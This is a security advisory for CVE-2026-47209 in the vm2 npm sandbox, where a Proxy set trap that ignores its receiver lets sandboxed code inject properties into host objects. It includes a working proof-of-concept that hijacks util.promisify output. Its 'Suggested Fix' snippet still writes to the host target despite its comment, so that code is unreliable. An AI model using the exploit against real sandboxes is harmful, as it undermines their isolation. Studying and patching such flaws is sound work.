CVE-2026-47209: vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain
Summary The BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target.
Published May 29, 2026 · Updated Jun 12, 2026
Affected packages
vm2
- Ecosystem
- npm
- Affected
- <= 3.11.3
- Fixed in
- 3.11.4
- Check
npm ls vm2
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object.
This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path.
Vulnerable Code
// bridge.js:1231-1260
set(target, key, value, receiver) {
validateHandlerTarget(this, target);
const object = getHandlerObject(this);
if (isProtectedHostObject(object)) throw new VMError(OPNA);
// ...
try {
value = otherFromThis(value);
return otherReflectSet(object, key, value) === true;
// BUG: 'receiver' is never used.
// Should check if receiver !== proxy and handle accordingly.
} catch (e) {
throw thisFromOtherForThrow(e);
}
}Impact
Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:
// Sandbox code
const child = Object.create(hostObj);
child.injectedProp = 'attacker-value';
// hostObj now has 'injectedProp' on the HOST sideCombined with the Symbol.for coverage gap, this enables semantic confusion attacks:
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFunction);
child[kCustom] = function() {
return Promise.resolve('attacker-controlled');
};
// Host: util.promisify(hostFunction)() returns 'attacker-controlled'Reproduction
const { VM } = require('vm2');
const util = require('util');
const vm = new VM();
const hostFn = function api(cb) { cb(null, 'ok'); };
vm.setGlobal('hostFn', hostFn);
vm.run(`
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFn);
child[kCustom] = function() {
return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');
};
`);
// Host side
const promisified = util.promisify(hostFn);
promisified('test').then(r => console.log(r));
// Output: EXPLOITED-VIA-RECEIVER-BUGSuggested Fix
set(target, key, value, receiver) {
validateHandlerTarget(this, target);
const object = getHandlerObject(this);
if (isProtectedHostObject(object)) throw new VMError(OPNA);
if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {
return this.setPrototypeOf(target, value);
}
if (key === 'constructor' && thisArrayIsArray(object)) {
thisReflectSet(target, key, value);
return true;
}
try {
value = otherFromThis(value);
// When receiver is not the proxy itself, set on receiver (this-realm)
// instead of the host target to preserve prototype-chain semantics.
return otherReflectSet(object, key, value) === true;
} catch (e) {
throw thisFromOtherForThrow(e);
}
}Credited to q1uf3ngONEKEY.
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-c4cf-2hgv-2qv6
- https://github.com/patriksimek/vm2/commit/26d0318b5e6555be4b187ba05d6cf378ccecfe22
- https://github.com/patriksimek/vm2/releases/tag/v3.11.4
- https://nvd.nist.gov/vuln/detail/CVE-2026-47209
- https://github.com/advisories/GHSA-c4cf-2hgv-2qv6
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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